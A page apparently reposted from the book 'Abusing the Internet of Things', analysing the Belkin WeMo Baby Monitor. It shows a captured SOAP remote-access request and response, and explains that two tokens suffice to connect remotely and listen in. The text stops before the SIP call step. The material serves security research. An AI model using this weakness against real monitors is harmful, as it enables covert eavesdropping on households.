Abusing the Internet of Things

(Rick Simeone) #1
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1">
<DeviceId>[DELETED]</DeviceId>
<dst>0</dst>
<HomeId></HomeId>
<DeviceName>iPad 4G</DeviceName>
<MacAddr></MacAddr>
<smartUniqueId></smartUniqueId>
<numSmartDev></numSmartDev>
</u:RemoteAccess>
</s:Body>
</s:Envelope>

Notice the DeviceId field, which is a random token created by the iOS app. Here is the
response from the WeMo device:


HTTP/1.1 200 OK
CONTENT-LENGTH: 631
CONTENT-TYPE: text/xml; charset="utf-8"
EXT:
SERVER: Linux/2.6.21, UPnP/1.0, Portable SDK for UPnP devices/1.6.18
X-User-Agent: redsonic
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body>
<u:RemoteAccessResponse xmlns:u="urn:Belkin:service:remoteaccess:1">
<homeId>610337</homeId>
<resultCode>PLGN_200</resultCode>
<description>Successful</description>
<statusCode>S</statusCode>
<smartUniqueId>[DELETED]</smartUniqueId>
<numSmartDev>3</numSmartDev>
</u:RemoteAccessResponse>
</s:Body> </s:Envelope>

The DeviceId token issued by the iOS app is now authorized. Note that the value of the
smartUniqueId field returned by the WeMo is the same as the DeviceId value issued by the
iOS app in the initial request. This value and the serialNumber value obtained earlier are the
only two tokens required to connect to the baby monitor from the Internet and listen in.
The iOS app and the WeMo device use the Session Initiation Protocol (SIP) to connect to
each other, allowing the iOS app to listen in to the audio. This makes sense, given that SIP is
a common protocol used to make audio calls over the Internet. To make the connection, the
iOS app invokes the INVITE action to initiate the call:


THE BELKIN WEMO BABY MONITOR 73
Free download pdf